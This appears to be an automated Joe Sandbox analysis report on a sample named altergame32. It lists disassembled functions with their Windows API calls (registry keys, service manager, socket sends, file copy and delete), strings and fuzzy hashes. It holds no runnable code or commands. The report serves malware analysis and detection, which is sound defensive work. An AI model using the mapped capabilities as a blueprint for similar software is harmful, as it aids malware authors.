Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(80000002,Software\ATour), ref: 00402561
SetEvent.KERNEL32 ref: 00402AE0

Strings

Software\ATour, xrefs: 00402557

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: CreateEvent
String ID: Software\ATour
API String ID: 2692171526-3083386596
Opcode ID: f186dd0b7bc98dd43764a25f86a4cb0d0e809b4a92060d8c1256fdb064220542
Instruction ID: 97827390f0dbf811a8766feaa4b3b3f1fe6a4e1045c6de9f8130f5e784142085
Opcode Fuzzy Hash: f186dd0b7bc98dd43764a25f86a4cb0d0e809b4a92060d8c1256fdb064220542
Instruction Fuzzy Hash: BD117635E052829BD3105B30FF61BE27BB9A746760F04027EC996B72A2C3788C46E65C

Function 00402723 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040D7B5

Strings

\, xrefs: 0040D215
sqlite3.dll, xrefs: 0040D85B

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: ManagerOpen
String ID: \$sqlite3.dll
API String ID: 1889721586-2821398869
Opcode ID: 520e348fbed41caa7d91e0eeccad9f0cf03247776b24ec716f8ec42433566651
Instruction ID: 02cac2386a51af119043485a38359376ff8e08f267ee505fb347487170b15741
Opcode Fuzzy Hash: 520e348fbed41caa7d91e0eeccad9f0cf03247776b24ec716f8ec42433566651
Instruction Fuzzy Hash: AE116F71C08656DADB085BF45EA65FA3FA09701320F2045BFC557B12E1C13C4A09D72E

Function 02E4353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E43543

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e005e631adcad1577092bc4db21f8fc0502daccfd31109ffa44fa2af9c9c872a
Instruction ID: bc160ffbaa80b8f197a4ea664d8518830416ad7b21d913ba57212c39b7a45849
Opcode Fuzzy Hash: e005e631adcad1577092bc4db21f8fc0502daccfd31109ffa44fa2af9c9c872a
Instruction Fuzzy Hash: BF514F71A45216DFCB08DF68D4506AABBB1FF08324F20D19EF8299B380DB749910CFA0

Function 02E4369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02E436A7

Part of subcall function 02E42420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02E42432
Part of subcall function 02E42420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02E42445
Part of subcall function 02E42420: RtlEnterCriticalSection.NTDLL(?), ref: 02E42454
Part of subcall function 02E42420: InterlockedExchange.KERNEL32(?,00000001), ref: 02E42469
Part of subcall function 02E42420: RtlLeaveCriticalSection.NTDLL(?), ref: 02E42470

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: d211e34b6d139ab72ac64cc5d493fafcb3ca20d92fa503e8bf2d7bd4044a55e2
Instruction ID: 4cbbb66d55d6996949d9e3b32e898ef0eb67352b96c8076d8e835487f90e34f4
Opcode Fuzzy Hash: d211e34b6d139ab72ac64cc5d493fafcb3ca20d92fa503e8bf2d7bd4044a55e2
Instruction Fuzzy Hash: 2011C4B5180209ABDF218E14EC49FAB3B65EF40368F209456FE56C6290CF74D860CBA4

Function 02E520F0 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 02E52106
CloseHandle.KERNEL32(?,?,?,?,?,00000002,02E4A988,00000000), ref: 02E52137
ResumeThread.KERNEL32(?,?,?,?,?,00000002,02E4A988,00000000), ref: 02E52145

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: 2f3d3042339cd3ef1e2adb74820c335abed5c67aa5c95d1b3011e2eacd4af4bf
Instruction ID: 16fde02529d23301ce0c9bcd8672aaaf5cfe3f3317db516ad803887f2d34e807
Opcode Fuzzy Hash: 2f3d3042339cd3ef1e2adb74820c335abed5c67aa5c95d1b3011e2eacd4af4bf
Instruction Fuzzy Hash: A7F0C8702902105BE7209E59DC84F96B3D8EF48368F14855AFB54C7281C771A8929AA0

Function 02E41AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02E772B4), ref: 02E41ABA
WSAStartup.WS2_32(00000002,00000000), ref: 02E41ACB
InterlockedExchange.KERNEL32(02E772B8,00000000), ref: 02E41AD7

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: cb47f5d46b9b289c51cb49a74b59baeca83a5b3465e0bcd4ddb93991c678d31d
Instruction ID: d4bb6e9801f7c80ad273a4db53f32670dfcceae1a02bb21d050913b92b528793
Opcode Fuzzy Hash: cb47f5d46b9b289c51cb49a74b59baeca83a5b3465e0bcd4ddb93991c678d31d
Instruction Fuzzy Hash: A0D05E719D42145BE61066A5AC0EA7AFB2CE705669F801656FC7EC00C0EA50596095B6

Function 00402947 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040D6D1

Strings

Eshenc43, xrefs: 00402992

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Close
String ID: Eshenc43
API String ID: 3535843008-4181249012
Opcode ID: 15ef28204f07d7b48703b89e2d6c5d33e29141c309989999f2207bc0bfe5d7bc
Instruction ID: be004e59aa3699ca12022b62cae7feaba2be92beb7ca5540e0a9a012bdacf4b0
Opcode Fuzzy Hash: 15ef28204f07d7b48703b89e2d6c5d33e29141c309989999f2207bc0bfe5d7bc
Instruction Fuzzy Hash: 76F027325087425ADF120BB40A696D47BB1AB42300B24247FD4D2711E3C3BC4513E71E

Function 00402CCE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040D16B

Strings

EShineEncoder, xrefs: 0040DB2C, 0040DB31

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Close
String ID: EShineEncoder
API String ID: 3535843008-1597600474
Opcode ID: 5b41531665007a81d217991c6893f759ccf1358bb147f584ce279fc5a91da054
Instruction ID: 012348b20830d107378ed8136720504f13b5e39aecd52ebec1987391a0c9276e
Opcode Fuzzy Hash: 5b41531665007a81d217991c6893f759ccf1358bb147f584ce279fc5a91da054
Instruction Fuzzy Hash: 30D0EC71C48200EAC7411EF04D0957A7925BF09344735457BA003B91E5CABA490BD71E

Function 00402285 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders), ref: 0040DC62

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040D5E5

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Open
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 71445658-2036018995
Opcode ID: 3bf725d415e05b0408b9a947ea3942c27790e6a72a6ab1259dd2e36986a1b2c9
Instruction ID: 46e6dc69ee420d112a3caf2eee0461ed8c1b04e216817f0ca4a34adcfc96ca13
Opcode Fuzzy Hash: 3bf725d415e05b0408b9a947ea3942c27790e6a72a6ab1259dd2e36986a1b2c9
Instruction Fuzzy Hash: 5FC00250A08216DAE74466A14E5DA7672586710748F2045379D07B01D1E67C550BF51E

Function 02E44BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E44BF2

Part of subcall function 02E41BA7: __EH_prolog.LIBCMT ref: 02E41BAC
Part of subcall function 02E41BA7: RtlEnterCriticalSection.NTDLL ref: 02E41BBC
Part of subcall function 02E41BA7: RtlLeaveCriticalSection.NTDLL ref: 02E41BEA
Part of subcall function 02E41BA7: RtlEnterCriticalSection.NTDLL ref: 02E41C13
Part of subcall function 02E41BA7: RtlLeaveCriticalSection.NTDLL ref: 02E41C56

Part of subcall function 02E4E0F7: __EH_prolog.LIBCMT ref: 02E4E0FC
Part of subcall function 02E4E0F7: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02E4E17B

InterlockedExchange.KERNEL32(?,00000000), ref: 02E44CF2

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: c10775b474d162bc695c1b684a261532a9239c023b19c367ed9f294ad9318bf2
Instruction ID: 8a815f407cd0b79850398083d48818f47a55701cf5549f813e40edc3878adb46
Opcode Fuzzy Hash: c10775b474d162bc695c1b684a261532a9239c023b19c367ed9f294ad9318bf2
Instruction Fuzzy Hash: 72515771E44248DFDB05DFA8D884AEEBBB5FF09314F14915AE905AB391DB309A44CF60

Function 02E42D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02E42D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02E42D5C

Part of subcall function 02E4A508: WSAGetLastError.WS2_32(00000000,?,?,02E42A51), ref: 02E4A516

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 2e341244993b856edfbed5ed4c470c2b7ab3d1a9415373cc18fe04d61edddcd8
Instruction ID: 333a791e784525ef3cf53cb2806d213f769eeaca6631e986740c8618e1313bf1
Opcode Fuzzy Hash: 2e341244993b856edfbed5ed4c470c2b7ab3d1a9415373cc18fe04d61edddcd8
Instruction Fuzzy Hash: CC01D8B1540209AFD7205F55D89486BBBECFF493A8B10852EFD5983200EF708D00CB61

Function 0040D0F2 Relevance: 3.0, APIs: 2, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 0040D0F2
OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040D7B5

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: CopyFileManagerOpen
String ID:
API String ID: 3059512871-0
Opcode ID: 9e3146827b823fb72847a81831b6f9f609e1ae4ab21fb75e0122e33f8468bf4c
Instruction ID: 63a47c692e634ecde8090716e013d1652f7ed24adeb4c2df2f38a42cb0036bbc
Opcode Fuzzy Hash: 9e3146827b823fb72847a81831b6f9f609e1ae4ab21fb75e0122e33f8468bf4c
Instruction Fuzzy Hash: 2AF090768052929AEB085B71BFB65E67FA4D702331B00027AD693B12F2D27C4A45D729

Function 02E483E9 Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02E48406
shutdown.WS2_32(?,00000002), ref: 02E4840F

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: ErrorLastshutdown
String ID:
API String ID: 1920494066-0
Opcode ID: d37623be7d9e36bcb236ed0f93714b3c7ede0664a344a167b62e83d00ea6504d
Instruction ID: a85932f67b2634e44acb0159abf075ee7c557ba4499e9ca6fca572bd7ad1ba6a
Opcode Fuzzy Hash: d37623be7d9e36bcb236ed0f93714b3c7ede0664a344a167b62e83d00ea6504d
Instruction Fuzzy Hash: D5F090716943148FC710AF14E824B5AB7E5FF08369F40881CFD9997380DB70AC10CBA1

Function 00404454 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465

Part of subcall function 0040430C: GetVersionExA.KERNEL32 ref: 0040432B

HeapDestroy.KERNEL32 ref: 004044A4

Part of subcall function 0040482B: HeapAlloc.KERNEL32(00000000,00000140,0040448D,000003F8), ref: 00404838

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
Instruction ID: 6792b556898a49359456169ba0c82f011abfeecbff717d74d0c7f117a7ac5838
Opcode Fuzzy Hash: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
Instruction Fuzzy Hash: 90F065F0A01302DAEB206B70AE4572A3695DBC0755F20483BFA04F51E0EA788884A91D

Function 004025F5 Relevance: 2.6, APIs: 2, Instructions: 66sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040D22E
GetLastError.KERNEL32 ref: 0040DF58

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 16b1333c6e2be3bb346ae0c34aa2f746fa4c3e66eb76d0f189a2250a68af3eb4
Instruction ID: 111d6632d5b9c242e9fc9679db8046095268ab7c5413e818d62677c6d9c37380
Opcode Fuzzy Hash: 16b1333c6e2be3bb346ae0c34aa2f746fa4c3e66eb76d0f189a2250a68af3eb4
Instruction Fuzzy Hash: 9411E7719046019BEB188F64DA99B7B3BA0AF04314F14413BF907AE2C1C779CA86DB4A

Function 0040D090 Relevance: 2.6, APIs: 2, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040D22E
GetLastError.KERNEL32 ref: 0040DF58

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: e234ee99e1e794852f87d0e5227e47b7c3f12decf1720d858daf55902e207e4c
Instruction ID: 9e2917bad73b05df65526e13dc98655dc28116d46e1899a2a9a3aae13cf9c72c
Opcode Fuzzy Hash: e234ee99e1e794852f87d0e5227e47b7c3f12decf1720d858daf55902e207e4c
Instruction Fuzzy Hash: B6019B71A046119BDB188F64DE99B7A3BA0AF04314F14453BF507EE2D0C779C985DB49

Function 02E45119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E4511E

Part of subcall function 02E43D7E: htons.WS2_32(?), ref: 02E43DA2
Part of subcall function 02E43D7E: htonl.WS2_32(00000000), ref: 02E43DB9
Part of subcall function 02E43D7E: htonl.WS2_32(00000000), ref: 02E43DC0

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: 2e09034d8719b4f6dce5a19d7770802977255da8bcf2b3ef66e4ddc0de95370e
Instruction ID: 4ecb66520e8f040e8d4b5e2ef508e5adda9abb8a8e9a06650a063ee6fc14c920
Opcode Fuzzy Hash: 2e09034d8719b4f6dce5a19d7770802977255da8bcf2b3ef66e4ddc0de95370e
Instruction Fuzzy Hash: D8814872D8424ECFCF15DFA8E090AEEBBB5AF48214F14916AE850B7240EB755A05CF64

Function 02EA10FF Relevance: 1.7, APIs: 1, Instructions: 166fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(5193289A,?,?,?), ref: 02ED30F3

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e7a000_altergame32.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1436e2c2cd006d6dd6450ccdee363d2038d2b47cd0793f19acdc30a5ae073239
Instruction ID: 0b23120f8d352db3ef11cf7f362516cd92965ae63f730a9c92f0900960a03ac3
Opcode Fuzzy Hash: 1436e2c2cd006d6dd6450ccdee363d2038d2b47cd0793f19acdc30a5ae073239
Instruction Fuzzy Hash: 25518CF250C200AFE705AF19DC8577ABBE5EFC8720F06892DE6C583644DA359851CB93

Function 02E4E9C0 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E4E9C5

Part of subcall function 02E41A01: TlsGetValue.KERNEL32 ref: 02E41A0A

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: 1ddaec3a645ff924805f38c462467a57b611f1e12e8107a3cdbcbea68bb7b2c6
Instruction ID: a6ff3c2bddca505efa59f41d4746dedd9d663357a4932843fe51a715c5dee66d
Opcode Fuzzy Hash: 1ddaec3a645ff924805f38c462467a57b611f1e12e8107a3cdbcbea68bb7b2c6
Instruction Fuzzy Hash: 4E2151B1944209AFDF00DF95E440AFEBBF9FF48314F14905EE904A7240DB70AA04DBA1

Function 02E433B2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 02E433CC

Part of subcall function 02E432AB: __EH_prolog.LIBCMT ref: 02E432B0
Part of subcall function 02E432AB: RtlEnterCriticalSection.NTDLL(?), ref: 02E432C3
Part of subcall function 02E432AB: RtlLeaveCriticalSection.NTDLL(?), ref: 02E432EF

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompareEnterExchangeH_prologInterlockedLeave
String ID:
API String ID: 1518410164-0
Opcode ID: a4af0ff6fad89dcf47329c35108f14d2b4edff424fa5e900a9e6c358125affa2
Instruction ID: b705f3e765df5185e820b6a9570f4a409e6d68e5e29aca65902679d4c330d7ce
Opcode Fuzzy Hash: a4af0ff6fad89dcf47329c35108f14d2b4edff424fa5e900a9e6c358125affa2
Instruction Fuzzy Hash: 93014071654606AFDB04DF59E885F55BBA9FF45324B20C35AE928872C0EF70EC21CBA4

Function 02E4E550 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E4E555

Part of subcall function 02E426DB: RtlEnterCriticalSection.NTDLL(?), ref: 02E42706
Part of subcall function 02E426DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02E4272B
Part of subcall function 02E426DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02E65B53), ref: 02E42738
Part of subcall function 02E426DB: SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02E42778
Part of subcall function 02E426DB: RtlLeaveCriticalSection.NTDLL(?), ref: 02E427D9

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: 79d52e2c4da552d2142098393e8d572a3f7f4e8e5c27b4872d5a6e1e1d14aea6
Instruction ID: c38155c0bea1a3361e868da9338a9eb55fa62b023b9e789ed4f97c30e56c3ab7
Opcode Fuzzy Hash: 79d52e2c4da552d2142098393e8d572a3f7f4e8e5c27b4872d5a6e1e1d14aea6
Instruction Fuzzy Hash: 5B01D0B0A90B048FC718CF0AC54899AFBF4EF88700B05C5AE94498B321E770AA40CF90

Function 00402332 Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040D298

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: d458c72378841d57a281c4db5a90640847ee0df62826f8d8c8b7ba3dbbe90e0b
Instruction ID: 9af1d715428bb10e0452cb367a8199cfa5a1ac560f54e1c53b8f875cbd80c69b
Opcode Fuzzy Hash: d458c72378841d57a281c4db5a90640847ee0df62826f8d8c8b7ba3dbbe90e0b
Instruction Fuzzy Hash: 08F0F676D25256CDC3149BB86F112E57BF0A646B20754033BD893B20E2C7344949EB1E

Function 0040DC42 Relevance: 1.5, APIs: 1, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders), ref: 0040DC62

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b1caeba748d88131af362526e9eb5d2cedac4dbb86ea276f4220029156935f02
Instruction ID: f8c3724f754cfcc94ef41bc6c10cfa097af13215f723e54c64c92e4290f33e94
Opcode Fuzzy Hash: b1caeba748d88131af362526e9eb5d2cedac4dbb86ea276f4220029156935f02
Instruction Fuzzy Hash: F4F02E31E04616CBE7108FA1D9841A9F723BB5130476046BFD851A3284E339944EDB48

Function 0040D8E0 Relevance: 1.5, APIs: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 0040D8E0

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 58385ccaa7b7034decbcb582908fb41edbfb6e48ea1f767cd773899efa36b1c6
Instruction ID: 24ab9ea8706f183bf36089ca0671f6bd679c7bc8bd1ec4c941c05a3988f0b299
Opcode Fuzzy Hash: 58385ccaa7b7034decbcb582908fb41edbfb6e48ea1f767cd773899efa36b1c6
Instruction Fuzzy Hash: F3F0A938A04203CFDB00CE99D9C0BA633E0BB58780B50406ADC02EB388D378D5028E99

Function 0040D195 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040D7B5

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1f3cd9f2903824330797f64285bbd9b8ac78e1855b66ca3c743892f81974d4d0
Instruction ID: bcc538560c25e25718ea8e5d329da63500f38517310f8df8015202c046b36953
Opcode Fuzzy Hash: 1f3cd9f2903824330797f64285bbd9b8ac78e1855b66ca3c743892f81974d4d0
Instruction Fuzzy Hash: 33E0DF308061528AD3084FA06BA00603B60E909721310047FC083B54F2D63C4A46EB2A

Function 02E4E32F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E4E334

Part of subcall function 02E53B4C: _malloc.LIBCMT ref: 02E53B64

Part of subcall function 02E4E550: __EH_prolog.LIBCMT ref: 02E4E555

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: 379fab7afca3416c06a8651ffa92af2982ddf3d22465154f5ba2be20cafbd564
Instruction ID: ab2b7f4b5d730f3a2a0d6bf643a55856edb3fbe60cfea4d53f0d607e5be0d093
Opcode Fuzzy Hash: 379fab7afca3416c06a8651ffa92af2982ddf3d22465154f5ba2be20cafbd564
Instruction Fuzzy Hash: 2CE0C271AD0205ABCF0DEF68E81173EB7A6EB04744F04D5ADB809D2340EF7089008B44

Function 02E53452 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02E55C5A: __getptd_noexit.LIBCMT ref: 02E55C5B
Part of subcall function 02E55C5A: __amsg_exit.LIBCMT ref: 02E55C68

Part of subcall function 02E53493: __getptd_noexit.LIBCMT ref: 02E53497
Part of subcall function 02E53493: __freeptd.LIBCMT ref: 02E534B1
